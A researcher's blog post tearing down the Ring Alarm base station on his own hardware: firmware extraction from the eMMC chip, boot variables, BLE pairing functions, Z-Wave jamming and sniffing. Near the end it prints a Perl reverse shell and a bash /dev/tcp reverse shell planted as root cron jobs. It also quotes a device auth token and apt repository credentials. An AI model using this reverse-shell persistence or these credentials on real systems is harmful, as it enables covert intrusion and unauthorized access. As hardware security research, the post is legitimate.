Inside Amazon’s Ring Alarm System

Nicholas Miles
Sep 16, 2020 · 22 min read
Ring Base Station

Off-the-shelf security systems intended for consumer use are all the rage these days. It seems like everyone and their mother has some sort of fancy doorbell, camera system, or door sensor. Chief among these products is the Ring security system. Ring has faced scrutiny over the last couple of years for several security vulnerabilities¹ ² ³ and complaints of privacy concerns, including Amazon’s data-sharing relationships. Because of Ring’s immense popularity and accessibility, I decided it would be worth tearing down their alarm system in order to assess its security posture.

One of the first things I noticed when beginning this research, however, was the complete lack of information publicly available for these particular Ring devices. Most of the vulnerabilities disclosed pertain to Ring’s cloud infrastructure, their website, mobile app or camera systems. There are a few patched issues in the Ring doorbell and other components that deal with the leakage of potentially sensitive information, such as Wi-Fi credentials, but no real information about the internals of the Ring Alarm. This is where I decided to focus my efforts.

The following blog post details a complete teardown of the Ring security system base station and how I went about investigating the device. This blog is intended as a starting point for further research into Ring devices. As far as I am aware, the information below is not available anywhere else at this time. This blog is not intended to be an endorsement for or against Ring products or services.

Ring Alarm History

In July 2018, Amazon’s Ring brought to market a new product — a low-cost, DIY home security system. Ring’s previous product, the Ring Doorbell, was plagued with security vulnerabilities such as allowing attackers to steal Wi-Fi passwords or view footage from the device’s video feed. As such, this new product seemed like a promising research target.

Little did I know, this product was designed primarily by a completely different group of people than the engineers who developed the Doorbell. When I started to dig into the Alarm system and saw references to “Zonoff”, I did some digging and discovered some interesting history.

Patent Warfare

Zonoff was a small Internet of Things (IoT) company founded in 2011 ⁴. In 2013, they received $3.8 million in venture capital funding ⁵. Existing competitors in the market (Icontrol Networks, and Alarm.com) already owned a large software home automation as a service (SHaaS) patent portfolio, so they were facing some tough, well-armed competition.

In September 2014, Icontrol sued Zonoff for alleged patent infringement. About 3 months afterward, Zonoff received a $31.8 million investment from ADT ⁶. There was also a deal with LG to power “LG Smart Security”. Icontrol retaliated in 2015 by seeking an injunction to prevent them from selling their products.

ADT tried to acquire Zonoff in 2016 but failed. Zonoff grabbed another big customer in 2016, Dixons Carphone in the UK.

In 2016, Alarm.com partially acquired Icontrol, and the full acquisition was completed in 2017. Honeywell sued to block the merger on antitrust grounds and tried to acquire Zonoff in 2017, however, Honeywell dropped the antitrust case later in the year.

With the Honeywell deal falling through and the damage from multiple lawsuits, Zonoff collapsed ⁷. Shortly thereafter, Ring stepped in and hired all of the Zonoff employees including the founder/CEO ⁸.

Ring used their newly acquired Zonoff team to build a new alarm system product called “Ring Protect” which they tried to introduce in 2017. ADT promptly sued Ring for “misappropriating IoT technology” from Zonoff that ADT said belonged to them ⁹. This led to a delay of the product being released until 2018 when ADT settled with Ring (reportedly for $25 million).

Dissecting The Hardware

So what does this magical new device from Ring/Zonoff look like on the inside? I begin by tearing apart the Ring alarm base station known internally as “RedSky”. You can find “RedSky” referenced in the firmware, and silkscreened on the base station motherboard. Below is the main board with all the metal shielding (for RF) in place:

Motherboard with Shielding

Here is what it looks like after peeling the shielding off:

Motherboard with RF shielding removed

Back side:

Backside of Motherboard

In the image below you can see the CPU and eMMC flash containing the firmware along with several radio chips. The radio chips include a combined Wi-Fi and Bluetooth module, a Zigbee/Z-Wave chip, an RFID transceiver chip, and finally a sub 1GHz general-purpose wireless radio transceiver MCU.

Close Up of CPU, Flash, and Radio Chips

Here you can see the Quectel cellular radio (bottom left):

Pictured below is the stereo audio digital-to-analog converter (DAC) IC and battery charging IC:

Stereo and Battery ICs

Below is a picture of the Wifi/Bluetooth module, CPU, Flash memory, 4GB of DDR RAM, power management IC, and ethernet IC.

Wifi/Bluetooth, CPU, Flash, RAM, Ethernet, and Power Management ICs

IC List for Base station

  • JY976 (MTFC4GACAJCN-1M WT) — 4GB eMMC Flash
    Custom Linux based file system/OS resides on this chip.
  • H5TC4G63CFR — 4GB DDR RAM
  • MCIMX7D5EVM10SD — Arm Cortex A7 32bit, 1GHz, 3 cores
  • MC32PF3000A1 — Power Management Chip
  • WL18MODGI — Ring LLC Bluetooth and Wi-Fi
    Bluetooth radio is used for initial base station configuration/pairing via the app, Wi-Fi is for internet connection.
  • SD3503A-CNE3-ND — RFID Transceiver
    I’m not aware of any uses of this currently.
  • JY976 (MTFC4GACAJCN-1M WT) — 4GB eMMC Flash
    Custom Linux based file system/OS resides on this chip.
  • EFR32 MG1B232GG — ZigBee / Z-Wave / Thread
    Used for talking with sensors/keypad and range extender.
  • DAC3100 — Stereo Audio DAC
    Used for the siren and announcements.
  • BQ25892 — Charging IC
    Used for charging the LiPo backup battery.
  • KSZ8081 — Ethernet IC
    The base station has an ethernet port in addition to Wi-Fi for internet connections.

Accessing the Firmware

This device has an extremely small attack surface. Other than the initial configuration done over Bluetooth, there are no open ports on the device (other than 2 UDP ports which I believe are for receiving a heartbeat signal from the Zigbee server). All other interactions are handled via the app, which communicates with Ring’s cloud servers rather than the devices directly. The devices maintain dedicated connections to the Ring cloud to receive commands. At this point, I decided to switch to my ultimate hacking tool: the soldering iron!

My first attempt involved hooking up a JTAGulator, an open-source hardware tool, to all available test points and unpopulated pads to see if I could find any UART or JTAG interfaces. JTAGulator can be used to brute force and discover the four critical pins required for establishing a JTAG connection (Test Mode Select [TMS], Test Data Out [TDO], Test Data In [TDI], TCLK Test Clock [TCLK]) and the two required for UART (Transmit Data [TXD], Receive Data [RXD]). A JTAG connection would allow me to debug the system and dump the contents of flash memory. UART access may potentially allow terminal access to the device in order to view the boot process or run commands. Here are some pictures of all that madness:

Trying out unlabeled test points
Trying out one of three unpopulated pads
Trying out more test points

This was unsuccessful. I’m sure there is some way to gain JTAG access, but I just could not figure it out. If you figure it out, please let me know.

Considering that updates are done over HTTPS with a pinned certificate, there was no way to get the firmware without attacking the hardware. My first target was the eMMC flash chip (little chip to the left of the CPU):

Target flash chip next to CPU

All of the traces seemed to go straight to the CPU. You can see how they are placed right next to each other. I did not see anything obvious to hook into, so I decided to break out the hot air rework station and remove the chip.

You can see I ended up damaging most of the traces as I did not use near enough heat. An expensive and valuable lesson learned.

PCB Damage from flash removal

Here is the backside of the flash chip I removed after I cleaned it up a bit:

Flash chip BGA pads

It comes in a Ball Grid Array (BGA) package. Chips like this are sold with very small solder balls that have been heated and attached to each individual pad. A robot called a pick and place machine carefully places and aligns the chip, and the board is sent through an oven with a precisely controlled temperature profile. The only way to QA the joints visually is through X-Ray inspection, as the chip itself obscures the solder joints.

Using a data recovery adapter (http://www.allsocket.com/en/Product.asp?SortID=5) designed for BGA 153 eMMC flash chips (used for recovering data off smartphones), I was able to extract an image of the firmware using dd, a tool for imaging storage devices.

The adapter has spring-loaded pins (pogo) that press against the contacts on the BGA once the lid closes and applies pressure to the face of the chip. With the chip inserted into the data recovery adapter, I was now able to access the chip using an SD card reader.

Below is the adapter opened to show the pogo pins, and an image of the chip attached to my computer as an SD card would be.

eMMC Flash Data Recovery Tool
Data recovery tool inserted into SD card reader

Once I was able to read the chip, this was the fdisk -l output:

Yay, we have partitions!

I was then able to extract the firmware using dd command:

3.9GB flash image extracted

With the firmware extracted, I began my exploration to determine which partition is which:

Root file system:
PROD_RFS_PARTITION=/dev/mmcblk2p8

Boot file systems:
EM_KERNEL_PARTITION=/dev/mmcblk2p2
PROD_KERNEL_PARTITION=/dev/mmcblk2p5


/etc/fstab:
rootfs / auto defaults 1 1
proc /proc proc defaults 0 0
devpts /dev/pts devpts mode=0620,gid=5 0 0
usbdevfs /proc/bus/usb usbdevfs noauto 0 0
tmpfs /var/volatile tmpfs defaults 0 0
tmpfs /media/ram tmpfs defaults 0 0
tmpfs /run tmpfs defaults 0 0
/dev/mmcblk2p7 /var/sqlite ext4 noatime,sync 0 2
/dev/mmcblk2p6 /var/log ext4 noatime,sync 0 2
/dev/mmcblk2p9 /storage ext4 noatime,sync 0 2

Here are the resulting commands I used to mount everything on my research machine:

# Mounting:

losetup -P -f --show ring_basestation_dd.img # returns /dev/loop16
sudo mount /dev/loop16p6 /mnt/ring/var/log/
sudo mount /dev/loop16p7 /mnt/ring/var/sqlite/
sudo mount /dev/loop16p8 /mnt/ring/

API Keys and Firmware Updates

The device uses uBoot and has a separate partition for uBoot environment variables. These variables are used to configure the bootloader and guide its operation. Here are the definitions of the ones on the device I analyzed:

a-connection-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000C
a-power-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000003
aconn-apow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000F
aconn-gpow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000E
aconn-rpow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000D
authtoken=f4df09e2-d683-411c-bc5e-d168XXXXXXXX
baudrate=115200
boardcode=162187780004677
boot_fdt=try
bootcmd=run r-power-on; mmc dev ${mmcdev}; if mmc rescan; then run m4boot; if run loadbootscript; then run bootscript; else if run loadimage; then run mmcboot; fi; fi; fi
bootcmd_mfg=run mfgtool_args;bootz ${loadaddr} ${initrd_addr} ${fdt_addr};
bootdelay=3
bootscript=echo Running bootscript from mmc ...; source
btaddr=50:33:8B:61:69:75
cellICCID=89011702272069300702
cellIMEI=015078006445794
cellIMSI=310170206930070
conn-pow-off=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000000
cpuid=1e7188e200000367
ethact=FEC1
ethaddr=B0:09:DA:00:43:63
ethprime=FEC
factory_netmask=255.255.255.0
fdt_addr=0x83000000
fdt_file=imx7d-ring-m4.dtb
fdt_high=0xffffffff
filesize=544020
g-connection-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000004
g-power-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000002
gconn-apow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000007
gconn-rpow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000005
gpow-gconn-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000006
image=zImage
initrd_addr=0x83800000
initrd_high=0xffffffff
ip_dyn=yes
loadaddr=0x80800000
loadbootscript=fatload mmc ${mmcdev}:${mmcpart} ${loadaddr} ${script};
loadfdt=fatload mmc ${mmcdev}:${mmcpart} ${fdt_addr} ${fdt_file}
loadimage=fatload mmc ${mmcdev}:${mmcpart} ${loadaddr} ${image}
loadm4image=fatload mmc ${mmcdev}:${mmcpart} 0x7F8000 ${m4image}
m4boot=if run loadm4image; then bootaux 0x7F8000; else echo "Failed to boot M4";fi
m4image=redsky-imx7-m4.bin
mfgtool_args=setenv bootargs console=${console},${baudrate} rdinit=/linuxrc g_mass_storage.stall=0 g_mass_storage.removable=1 g_mass_storage.file=/fat g_mass_storage.ro=1 g_mass_storage.idVendor=0x066F g_mass_storage.idProduct=0x37FF g_mass_storage.iSerialNumber= clk_ignore_unused
mmcargs=setenv bootargs console=${console},${baudrate} root=${mmcroot} printk.time=1
mmcautodetect=no
mmcboot=echo Booting from mmc ...; run mmcargs; if test ${boot_fdt} = yes || test ${boot_fdt} = try; then if run loadfdt; then bootz ${loadaddr} - ${fdt_addr}; else if test ${boot_fdt} = try; then bootz; else echo WARN: Cannot load the DT; fi; fi; else bootz; fi;
mmcdev=1
mmcpart=5
mmcroot=/dev/mmcblk2p8 rootwait rw
r-connection-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000008
r-powconn-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000009
r-power-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000001
rconn-apow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000B
rconn-gpow-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x0000000A
regcode=V7Z4JA
rpow-rconn-on=mw.l 0x30210004 0x0000000f; mw.l 0x30210000 0x00000009
serial=XXXXX
serialnumber=BHBS11743XXXXXXXX

stderr=serial
stdin=serial
stdout=serial
wlan0addr=50:33:8b:61:69:76
wlan1addr=50:33:8b:61:69:77
txcal=fd 17 13
emboot=0
emversion=63
shipMode=0
emflag=0

A couple of the interesting variables are “serial,” “serialnumber,” and “authtoken.” Keep in mind that these are programmed at the factory and will never be changed during firmware updates. With “authtoken,” “serial,” and “serialnumber” you can pretend to be the base station and talk with remote ring APIs.

They use apt for obtaining update packages. A GPG key located at (etc/apt/trusted.gpg) is used for verifying packages. I imported it into my keychain with the following command:

gpg --no-default-keyring --keyring ./trusted.gpg --export | gpg --no-default-keyring --keyring trustedkeys.gpg --import

Here are the apt sources on the device I looked at:

deb [signed-by=/etc/apt/trusted.gpg] https://hub-8CE9CE291BBF478B95C7D0D37E0C9FEC:2Br5EzJPQrkH@prd-packages-us.prd.rings.solutions:443/repo/vanilla/ stable main
deb [signed-by=/etc/apt/trusted.gpg] https://hub-8CE9CE291BBF478B95C7D0D37E0C9FEC:2Br5EzJPQrkH@prd-packages-us.prd.rings.solutions:443/repo/release/ stable main

I found a deleted shell script using the open-source forensics toolkit Autopsy. This script downloads these apt sources from an endpoint during the initial device setup.

Here is an excerpt:

# run any pre-extras now that we have a world
tmpfile=`mktemp -t extra.XXXXXX`

vers=$(get_version_info)
${curl} --output ${tmpfile} "https://${WORLD}/api/v1/hub/maint/extra.php?version=${vers}&phase=pre-maintainer"

[ -f ${tmpfile} ] && /bin/sh ${tmpfile}
rm -f ${tmpfile}

# Do a run-parts on pre-maintainer.d but don't let errors stop us
run-parts /etc/maintainer/pre-maintainer.d || true

# update apt-get sources
${curl} --output /etc/apt/sources.list.d/jimmies.list "https://${WORLD}/api/v1/hub/maint/sources.php"
if [ $? -ne 0 ]; then
echo "failed to get apt-get sources"
fi

# Get Marketing Brand Info and drop it in a conf file
brandconf=/etc/hub-core.conf.d/50_branding.conf
${curl} --output ${brandconf} "https://${WORLD}/api/v1/hub/maint/brand.php"
if [ $? != 0 ]; then
echo "failed to get brand"
fi

With a tool like aptly or wget, it is relatively easy to browse the update repos and pull down new packages.

Attack Surface

My goal for this project was to obtain a root shell on the device for testing purposes. Having already destroyed my first device by removing the flash chip, I obtained a second device.

After spending some time analyzing the firmware, I had a more complete understanding of how all the services are structured and interact. The processes communicate with each other either through D-Bus or through a publish/subscribe broker called “psbroker” that listens on a local port. Here is a basic layout and description of the most important services:

After investigating these various services, I identified four attack vectors that may allow root access to the device:

  1. Directly during Bluetooth pairing.
  2. Indirectly through the web API. [app <-> cloud <-> base station]
  3. Directly through Z-Wave.
  4. Directly through hardware (e.g. reprogramming the flash)

Bluetooth Pairing

When you press the “Pairing” button on the base station, it allows you to communicate with the device using Bluetooth Low Energy (BLE). The button press is picked up by the LoserD daemon which in turn runs the pairing binary on the device. By examining the binary (written in Go), I was able to map out what each characteristic does. Below is an annotated characteristics dump from gatttool:

ubuntu@ubuntu:~$ sudo hcitool lescan
LE Scan ...
B0:09:DA:1A:11:0B Ring-1109

$ ubertooth-btle -n
....

systime=1597159043 freq=2402 addr=8e89bed6 delta_t=0.326 ms rssi=-51
04 11 0b 11 1a da 09 b0 0a 09 52 69 6e 67 2d 31 31 30 39 f7 bc 81
Advertising / AA 8e89bed6 (valid)/ 17 bytes
Channel Index: 37
Type: SCAN_RSP
AdvA: b0:09:da:1a:11:0b (public)
ScanRspData: 0a 09 52 69 6e 67 2d 31 31 30 39
Type 09 (Complete Local Name)
Ring-1109

Data: 0b 11 1a da 09 b0 0a 09 52 69 6e 67 2d 31 31 30 39
CRC: f7 bc 81
...

$ gatttool -b B0:09:DA:1A:11:0B -I
[B0:09:DA:1A:11:0B][LE]> connect
Attempting to connect to B0:09:DA:1A:11:0B
Connection successful
[B0:09:DA:1A:11:0B][LE]> primary
attr handle: 0x0001, end grp handle: 0x000b uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x000c, end grp handle: 0x000f uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0010, end grp handle: 0xffff uuid: 9760d077-a234-4686-9e00-fcbbee3373f7 # SERVICE
[B0:09:DA:1A:11:0B][LE]> characteristics
handle: 0x0002, char properties: 0x02, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a02-0000-1000-8000-00805f9b34fb
handle: 0x0008, char properties: 0x02, char value handle: 0x0009, uuid: 00002a03-0000-1000-8000-00805f9b34fb
handle: 0x000a, char properties: 0x02, char value handle: 0x000b, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x30, char value handle: 0x000e, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 9760d077-a234-4686-9e20-d087333c2c11 # IFCONFIG_READ
handle: 0x0013, char properties: 0x0c, char value handle: 0x0014, uuid: 9760d077-a234-4686-9e20-d087333c2c15 # LAT_WRITE
handle: 0x0015, char properties: 0x0c, char value handle: 0x0016, uuid: 9760d077-a234-4686-9e20-d087333c2c16 # LNG_WRITE
handle: 0x0017, char properties: 0x0c, char value handle: 0x0018, uuid: 9760d077-a234-4686-9e20-d087333c2c17 # TZ_WRITE
handle: 0x0019, char properties: 0x02, char value handle: 0x001a, uuid: 9760d077-a234-4686-9e20-d087333c2c06 # REGCODE_READ
handle: 0x001b, char properties: 0x02, char value handle: 0x001c, uuid: 9760d077-a234-4686-9e21-d087333c2d17 # MAC_ADDRESS_READ
handle: 0x001d, char properties: 0x02, char value handle: 0x001e, uuid: 9760d077-a234-4686-9e20-d087333c2c14 # SERIAL_READ
handle: 0x001f, char properties: 0x02, char value handle: 0x0020, uuid: 9760d077-a234-4686-9e20-d087333c2c13 # SESSION_KEY_READ
handle: 0x0021, char properties: 0x0c, char value handle: 0x0022, uuid: 9760d077-a234-4686-9e21-d087333c2c09 # START_WIFI_PAIRING
handle: 0x0023, char properties: 0x0c, char value handle: 0x0024, uuid: 9760d077-a234-4686-9e21-d087333c2e01 # START_ETH_PAIRING
handle: 0x0025, char properties: 0x02, char value handle: 0x0026, uuid: 9760d077-a234-4686-9e20-d087333c2c10 # STATE_READ
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 9760d077-a234-4686-9e20-d087333c2c08 # WIFI_LIST_READ
handle: 0x0029, char properties: 0x0c, char value handle: 0x002a, uuid: 9760d077-a234-4686-9e21-d087333c2c05 # WIFI_PASS_WRITE
handle: 0x002b, char properties: 0x02, char value handle: 0x002c, uuid: 9760d077-a234-4686-9e20-d087333c2c04 # WIFI_SSID_READ
handle: 0x002d, char properties: 0x0c, char value handle: 0x002e, uuid: 9760d077-a234-4686-9e21-d087333c2c04 # WIFI_SSID_WRITE
handle: 0x002f, char properties: 0x0c, char value handle: 0x0030, uuid: 9760d077-a234-4686-9e21-d087333c2d16 # SECRET_CODE_WRITE
handle: 0x0031, char properties: 0x0c, char value handle: 0x0032, uuid: 9760d077-a234-4686-9e21-d087333c2d18 # SETUP_ID_WRITE
handle: 0x0033, char properties: 0x0c, char value handle: 0x0034, uuid: 9760d077-a234-4686-9e21-d087333c2c07 # ZIPCODE_WRITE
handle: 0x0035, char properties: 0x0c, char value handle: 0x0036, uuid: 9760d077-a234-4686-9e20-d087333c2c18 # SAVE_LOC_INFO
handle: 0x0037, char properties: 0x02, char value handle: 0x0038, uuid: 9760d077-a234-4686-9e20-d087333c2d13 # PUBLIC_PAYLOAD_READ
handle: 0x0039, char properties: 0x0c, char value handle: 0x003a, uuid: 9760d077-a234-4686-9e21-d087333c2d15 # PEER_PUBLIC_KEY_WRITE

I took a closer look at the functions that can send data or change the device state for vulnerabilities but did not find anything. Below is a more detailed description of those functions.

LAT_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeLat

Stores latitude in memory. May be used to calculate time zone.

LNG_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeLng

Stores longitude in memory. May be used to calculate time zone.

TZ_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeTimezone

Stores sent data in memory for time zone.

WIFI_PASS_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writePass

Saves password for Wi-Fi configuration to a variable in memory. Later used in joining Wi-Fi (see writeSSID).

WIFI_SSID_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeSsid

Based on a number sent to indicate an enumerated SSID from a list of detected SSIDs, this function saves the SSID to a variable depending on corresponding previously enumerated SSIDs.

After password and SSID are configured, the pairing binary attempts to join the network using the following command:

networkcontrol join-wifi “ssid” “password”

SECRET_CODE_WRITE

fn: git.rs.ring.com/go/pairing/hub.(*BasestationV1).WriteSecretCodeToDisk

Writes given code to /etc/pairing/checkin_code. Can be used by the phone app to confirm the device being configured.

SETUP_ID_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeSetupID

Causes a random setup-id (e.g. “145675798”) to be written to /etc/pairing/setup-id. This file is later removed after a checkin script (/usr/bin/hq-status-checkin) is run that reports this id to Ring.

ZIPCODE_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writeZipcode

Stores zip code in memory. May be used to calculate time zone.

PEER_PUBLIC_KEY_WRITE

fn: git.rs.ring.com/go/pairing/ble/server.(*info).writePeerPublicKey

Writes the public key of the connecting client to be used during the connection.

SAVE_LOC_INFO

fn: git.rs.ring.com/go/pairing/ble/server.(*info).saveLocationInfo

Utilizes data from tzWrite and passes it as a variable to the following script:

/usr/bin/save_location_info:

#!/bin/sh
echo "Setting timezone to ${1} for Core"
configure timezone "${1}" </dev/null >/dev/null 2>&1

Web API

Other than a few shell scripts that run intermittently to report health and status, the hub-core binary does all of the interaction with the Web API.

Ring uses various AWS servers with which the base station may establish a connection. Every input available in the app is sanitized by the web services before being relayed to the device. I was not able to find anything exploitable in the web API.

Code review only turned up one function that I thought may be potentially vulnerable to command injection:

cloud_synchronizer * __thiscall get_current_timezone[abi:cxx11](cloud_synchronizer *this)
{
char acStack40 [24];

basic_string(acStack40,(allocator *)"configure gettimezone");
exec_shell_command_and_get_output((basic_string *)this);
_M_dispose();
return this;
}

I could exploit this if we could control the time zone information sent from the app, but it turns out the server calculates the time zone based on a verified address you provide in the app, so there is no way to exploit this issue.

Z-Wave

Z-Wave is used by the device to communicate with the sensors, range extenders, and the control panel. It uses both 908.42MHz and 916MHz frequencies for communication and will use whichever frequency is less noisy.

Jamming

I first tested the feasibility of jamming. With the limited tests I performed, I found it was possible to jam the sensors and keypad using two software-defined radios (one for each of the two frequencies). This was not a very reliable attack due to proximity required and power constraints. To make the attack reliable, you would have to jam at a much higher power, which would be prohibitively expensive for the typical burglar. Alternatively, at lower power, you need to be close to the targeted sensors in order for the attack to have any effect. Placing motion sensors close to the base station, or deeper inside the house monitoring entryways is a good way to mitigate this attack.

Successful jamming of the sensors will allow you to trip the sensor without the alarm being triggered. Successful jamming of the base station prevents users from tripping the panic button.

Encryption

The zipgateway daemon acts as a hub for all the attached Z-Wave devices. All Z-Wave packets are encrypted, and this daemon decrypts and forwards the packets via UDP (via port 4124) over the local tap0 interface for other services to digest. Here is an excerpt of the zipgateway log file (/tmp/zipgateway.log) as I trigger one of the door sensors (we will cover how I obtained shell access to the base station in the next section) :

Ring-1109:/# tail -f /tmp/zipgateway.log
2020-09-10T12:21:25.671858-0400 to unsolicited
2020-09-10T12:21:25.671903-0400 Sending Unsolicited to IP app...
2020-09-10T12:21:26.211301-0400 ApplicationCommandHandler 7->1 class 0x9f cmd 0x03 size 22
523900981 S2_fsm_post_event event: GOT_ENC_MSG, state IDLE
2020-09-10T12:21:26.211606-0400 ApplicationCommandHandler 7->1 class 0x71 cmd 0x05 size 10
2020-09-10T12:21:26.211679-0400 nm_fsm_post_event event: NM_EV_FRAME_RECEIVED state: NM_IDLE
2020-09-10T12:21:26.211735-0400 Unhandled command 0x71:0x05 from fdec:7976:1875:bbbb::07
2020-09-10T12:21:26.211848-0400 to unsolicited
2020-09-10T12:21:26.211893-0400 Sending Unsolicited to IP app...
tcpip_ipv6_output: nbr cache entry stale moving to delay
2020-09-10T12:21:31.761259-0400 ApplicationCommandHandler 7->1 class 0x9f cmd 0x03 size 21
523906531 S2_fsm_post_event event: GOT_ENC_MSG, state IDLE
2020-09-10T12:21:31.761566-0400 ApplicationCommandHandler 7->1 class 0x71 cmd 0x05 size 9
2020-09-10T12:21:31.761636-0400 nm_fsm_post_event event: NM_EV_FRAME_RECEIVED state: NM_IDLE
2020-09-10T12:21:31.761688-0400 Unhandled command 0x71:0x05 from fdec:7976:1875:bbbb::07
2020-09-10T12:21:31.761802-0400 to unsolicited
2020-09-10T12:21:31.761850-0400 Sending Unsolicited to IP app...
2020-09-10T12:21:32.731302-0400 ApplicationCommandHandler 7->1 class 0x9f cmd 0x03 size 22
523907501 S2_fsm_post_event event: GOT_ENC_MSG, state IDLE
2020-09-10T12:21:32.731616-0400 ApplicationCommandHandler 7->1 class 0x71 cmd 0x05 size 10
2020-09-10T12:21:32.731690-0400 nm_fsm_post_event event: NM_EV_FRAME_RECEIVED state: NM_IDLE
2020-09-10T12:21:32.731747-0400 Unhandled command 0x71:0x05 from fdec:7976:1875:bbbb::07
2020-09-10T12:21:32.731863-0400 to unsolicited
2020-09-10T12:21:32.731908-0400 Sending Unsolicited to IP app...

I then used the following command to sniff the tap0 interface with tcpdump as I armed/disarmed the alarm using the keypad:

# tcpdump -s0 -w zwave.pcap -i tap0 -A udp

You can see the pin code (1234) in plaintext in the pcap:

Pin code capture over UDP port 4124

All command packets are sent using S2, which is Z-Wave’s latest security framework, and implements Diffie-Hellman for key exchange. I verified this by using Zniffer (a Z-Wave sniffing tool from Silicon Labs).

Zniffer Packet Capture

Downgrade attacks¹⁰ to try and get the devices to switch to a less secure protocol (e.g. S1 which has issues which allow for decryption, or S0 which is no encryption) were tried but were not successful.

Hardware Attacks

With no UART or JTAG access, the only way I could think of to gain root access to the base station was to remove the eMMC chip (carefully this time) and put a new one on with modified firmware.

New eMMC chips come pre-balled which means that .25mm solder balls have been placed on the pads at the factory and heated so they are attached.

If I was to re-use the chip I pulled off, I would need to clean off the pads and “re-ball” it. This involves using a stainless steel stencil which has been carefully aligned, dumping balls over the stencil so they fall into every hole in the stencil, and carefully heating the balls so they adhere to the pads on the chip without bonding to the stencil. It is a tedious, time-consuming process.

The first attempt I made at removing the eMMC resulted in lifted pads/traces. My attempt this time involved using a PCB board preheater and a much higher temp on the hot air station. I pre-heated the PCB to 200C.

PCB Preheater

I started the hot air station at 400C, and slowly ramped it up to 600C over a period of about 10 minutes as I continually checked the chip. I was finally able to successfully remove the chip without lifting too many pads:

Closeup of PCB pads compared to pinout

Fortunately, the three pads lifted (brown circles in the picture above) are not critical for operation. In preparation for the next steps, I went ahead and ordered four compatible eMMC chips.

eMMC chips

Below is a picture of what a new eMMC looks like close up (you can see the solder balls, to the right is a dime for reference):

Before I installed the chip, I needed to install a reverse shell on the firmware. I decided a cronjob would be the easiest and most reliable approach. There is an /etc/cron.2min folder. Any script put in that folder will run as root every 2 minutes, so I placed the following perl script in that folder:

#!/usr/bin/perl -w
use Socket;
$i="10.10.50.101";
$p=8888;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};

I also placed a backup bash shell script to add some redundancy:

#!/bin/bash
bash -i >& /dev/tcp/10.10.50.101/4444 0>&1

I did this by first imaging the flash chip with the image I had (using dd), then mounting the filesystem, writing the file, and then unmounting. I remounted the chip after power cycling to confirm that the file was written successfully before taking it to my workbench for installation.

For installing the chip, I placed a thin layer of flux on the cleaned BGA pads and aligned the new chip carefully. Again, I used the preheater and slowly ramped up the indicated temperature on the re-work station from 400C to 600C until I saw the chip settle into place.

Here is the new chip soldered to the board:

After everything was cool, I fired up my reverse shell listeners and plugged in the device.

When I saw the status light turn from amber to green and the device pop up as online in the app, I knew I was in business. Below is the netcat listener receiving a connect back with a shell prompt, triggered by the backup bash script!

Reverse Shell

It looks like the perl script did not work, so I am glad I also installed the bash script.

I then installed dropbear so I could SSH in remotely:

Dropbear Installation

After configuring some SSH keys, I was then able to SSH freely to the device, and am now able to conduct further research with a working root shell on the device.

Conclusion

The Ring base station is a surprisingly hardened device. The attack surface is incredibly small (this is a good thing!). The only way to gain any insight at all into its inner workings was through somewhat extreme measures. We are starting to see this trend with more and more device vendors, which is making infosec research a lot more challenging, and much more expensive:

Ring Graveyard

This is a critical device that people trust and depend on for safety, so I believe it was worth the time investment to dig into, rather than moving on to an easier target. I also hope it lowers the difficulty barrier for other researchers who might be interested in researching this target as well.

The seemingly well-designed software architecture and small attack surface were impressive. Nice work Zonoff/Ring!

More expensive hardwired security systems, installed by professionals, are going to provide the highest level of security since they are more resilient to jamming, and critical components are better secured to combat tampering. For the typical residential user though, this seems like a good, low cost, DIY solution.

References

[1]: https://www.wired.com/story/ring-hacks-exemplify-iot-security-crisis/,

[2]: https://threatpost.com/ring-plagued-security-issues-hacks/151263/,

[3]: https://www.zdnet.com/article/amazon-fixes-ring-video-doorbell-wi-fi-security-vulnerability/)

[4]: https://www.crunchbase.com/organization/zonoff

[5]: https://venturebeat.com/2013/04/18/connected-home-platform-raises-3-8m-to-power-your-smart-home/

[6]: https://www.inquirer.com/philly/business/code-wars-adt-blocks-ring-sales-of-zonoff-founders-video-doorbell-20171107.html

[7]: https://www.cepro.com/news/goodbye_zonoff_iot_provider_sunk_by_alarm-com_icontrol_honeywell_adt/

[8]: https://www.cepro.com/news/ring_becomes_iot_powerhouse_overnight_hires_entire_zonoff_smart_home_team/

